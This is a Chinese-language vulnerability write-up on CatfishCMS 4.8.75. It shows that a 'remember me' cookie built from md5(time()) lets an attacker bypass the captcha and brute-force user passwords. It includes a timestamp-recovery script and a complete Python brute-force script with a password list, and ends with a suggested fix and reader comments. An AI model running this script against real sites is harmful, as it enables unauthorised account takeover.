上一篇文章审到了 后台的getshell
地址:某fishcms 后台存在任意文件删除+getshell
想着怎么说也再审审,然后。。。
审了一个危害不算大的,但觉得挺有趣的,分享一下
发现问题
绝望之际,开始翻起了函数。
在 user\controller\common.php
中,我发现了:
发现 Cookie
中获取 user
和 user_id
,立刻提起了我的兴趣。
首先我们依次看看这函数的三个判断。
49行的:
if(
!Session::has($this->session_prefix.'user_id')
&& Cookie::has($this->session_prefix.'user_id')
&& Cookie::has($this->session_prefix.'user')
)
为了方便,这里我们先无视 $this->session_prefix
这个前缀。
三个条件:
-
SESSION
中不存在user_id
。 -
cookie
中存在user_id
。 -
cookie
中存在user
。
看起来不难,先不分析,看看第二个:
$cookie_user_p = Cache::get('cookie_user_p');
if(
Cookie::has($this->session_prefix.'user_p')
&& $cookie_user_p !== false
)
-
cookie
中有user_p
-
cache
中有cookie_user_p
暂时无视 cache
中的那个值,再看看第三个 if
:
$user = 从数据库中查找 $_COOKIE['user'] 对应的 pass 和 user_type
if(
!empty($user)
&& md5($cookie_user_p.$user['user_pass']) == Cookie::get($this->session_prefix.'user_p')
)
- 查得出数据就可以过
-
md5($cookie_user_p+用户的密码)
等于cookie
中的user_p
接下来我们总结一下这三个 if
,这里 cookie
的值我们是可控的,不可控的值只有两个:
$this->session_prefix
$cookie_user_p = Cache::get('cookie_user_p');
第一个的值($this->session_prefix
):
url.build('/')
就是网站的根目录。
所以这个值就是:catfish
+ 根目录的值替换几个特殊字符
第二个值(Cache::get('cookie_user_p')
)在这个类没有赋值,全局搜索一下只找到一处赋值的地方:
这是登陆的函数,在判断完账号密码后到的这里。
这个 remeber
一看就知道是 记住账号
的按钮。
125 行定义了这个值:
$cookie_user_p = md5(time());
可以说是相当薄弱了,这个随机数我们是很容易找出来的。
所以所有的值都是已知的
只剩最后一个问题了,有什么用呢?
问得好,我们看看登陆成功后都做了什么:
Session::set($this->session_prefix.'user_id',Cookie::get($this->session_prefix.'user_id'));
Session::set($this->session_prefix.'user',Cookie::get($this->session_prefix.'user'));
Session::set($this->session_prefix.'user_type',$user['user_type']);
因为从数据库中获取了 username
相应的密码,所以 username
和 password
我们都要填正确的才行。 所以 user
和 user_type
不行,只有 user_id
了我们可以任意控制。但是这个 user_id
找了一圈,也没找到什么实质性的危害。。。
思考问题
在我眼睁睁地看着我的头发掉了三根的时候,我想到了,这里我们相当于绕过验证码,爆破用户名密码。这也算是低危了吧。
下面我们可以来思考如何利用了:
我们再一个条件一个条件来:
第一个:
if(!Session::has($this->session_prefix.'user_id') && Cookie::has($this->session_prefix.'user_id') && Cookie::has($this->session_prefix.'user'))
我们没登陆时,默认是没有 user_id
在 session
里的,所以这里没影响。
第二个:
$cookie_user_p = Cache::get('cookie_user_p');
if(Cookie::has($this->session_prefix.'user_p') && $cookie_user_p !== false)
这里是关键了,默认 cookie_user_p
其实是 false
,但是设置的地方只有一处,是登陆的地方,但是第一个 if
判断了 session
的 user_id
,相当于不能登陆
所以换个角度,我们能不能先登陆一次,再注销呢?
答案是:当然可以,而且注销也不会删掉 Cache
中 cookie_user_p
的值。
ok,既然如此,我们可以先试试。
漏洞复现
首先我们可能需要一个这样的 php
:
这方便我们等等登陆完找到一个大概的 time
值。
然后我们就去登陆吧:
这里点 记住我
。
登陆完后我们访问这个 php
:
此时我们可以看看我们的 cookie
:
我们可以在这里就直接找到他的前缀:catfishCatfishCMS|4?8?75
然后再看看 user_p
这个值:7541e2cc792bd77faf926e96a6006031
。
我们再来回顾一下这个值是这么设置的:
Cookie::set(前缀.'user_p',md5($cookie_user_p.$user['user_pass']),604800);
$cookie_user_p
是那个 md5(时间)
,
$user['user_pass']
是我们的密码。
我们有一个近似的时间了,所以我们很容易爆破出来这个 $cookie_user_p
到底是多少。
我们写个 jo
本:
import hashlib
def md5(s):
return hashlib.md5(s).hexdigest()
cookie_user_p = 1558287843
login_password = '123456'
while True:
if md5(md5(str(cookie_user_p))+md5(login_password)) == "7541e2cc792bd77faf926e96a6006031":
break
cookie_user_p-=1
print cookie_user_p
这里我跑出了 : 1558279836
。
然后我们现在注销登陆。
再看看哪里调用了 checkUser
:
我们可以看到 user\index
一开始就调用了这个函数。我们可以访问 /user/index
,然后抓包。
默认的包:
然后我们添加几个关键 cookie
:
catfishCatfishCMS|4?8?75user_id=any;
catfishCatfishCMS|4?8?75user=ruozhi1;
catfishCatfishCMS|4?8?75user_p=7541e2cc792bd77faf926e96a6006031;
user_p
是:md5(md5('1558279836')+md5('123456'));
这里 1558279836
是我刚跑出来的值,123456
是我的密码
成功了。。
当然,既然是要爆破,比如我们再试试别的账号。
首先我们需要再注销一次用户(因为第一个 if
中判断了 session
中不能有 user_id
)
这里我又注册了一个:
账号:ruozhi2
,密码:12345678
md5(md5('1558279836')+md5('12345678')) = bb889606714938a2408aa29fa6d0aa4d
依然可以。
当然了,爆破这个操作手工来肯定太麻烦,所以我们可以写个脚本:
脚本在最下面。。
总结
这个漏洞其实危害不大,但是我觉得这个漏洞的思路挺有意思的,所以拿出来献丑了。
在开发中可以把 time
改成 随机数 或者直接 像验证码那样弄几个几十个随机字符,这样就加大了爆破这个字符串的难度。
脚本
#python3 脚本
import requests
import hashlib
passwords = [
'123456',
'12345',
'123456789',
'password',
'iloveyou',
'princess',
'1234567',
'rockyou',
'12345678',
'abc123',
'nicole',
'daniel',
'babygirl',
'monkey',
'lovely',
'jessica',
'654321',
'michael',
'ashley',
'qwerty',
'111111',
'iloveu',
]
def md5(s):
return hashlib.md5(s.encode()).hexdigest()
u = "http://127.0.0.1/CatfishCMS-4.8.75/user.html"
session_prefix = 'catfishCatfishCMS|4?8?75' # 前缀
user_p = '7541e2cc792bd77faf926e96a6006031' # 登陆后 cookie 中 user_p 的值
login_password = '123456' # 登陆时的密码
PHPSESSID = 'dvl43ghjiocb81tkgabv46pmkt'
username = 'ruozhi3' # 爆破的用户名
cookie_user_p = 1558287843 #登陆时大概的时间戳(要在登陆成功后的时间
while True:
if md5(md5(str(cookie_user_p))+md5(login_password)) == user_p:
break
cookie_user_p-=1
print(cookie_user_p)
for passwd in passwords:
print("check:"+str(passwd))
cookie = {
"think_var":"zh-cn",
"PHPSESSID":PHPSESSID,
session_prefix+"user_id":"any",
session_prefix+"user":username,
session_prefix+"user_p":md5(md5(str(cookie_user_p))+md5(passwd)),
}
r = requests.post(u,cookies=cookie,allow_redirects=False)
if 'location' not in r.headers or r.headers['location'].find("login") < 0:
print("Success~");
print(username,passwd)
break
@独自等待 谢谢夸奖,user_p 这个是登陆后根据 time 生成的,存在自己 session 中的。所以可以根据自己登陆的时间来推,和要爆破的用户无关。
实际测试中,用户名一般比较容易搞到,但是目标用户登录后的user_p不太容易吧?
这个漏洞只是说他的cookie加密做的太简单了点。
感谢分享,写的不错。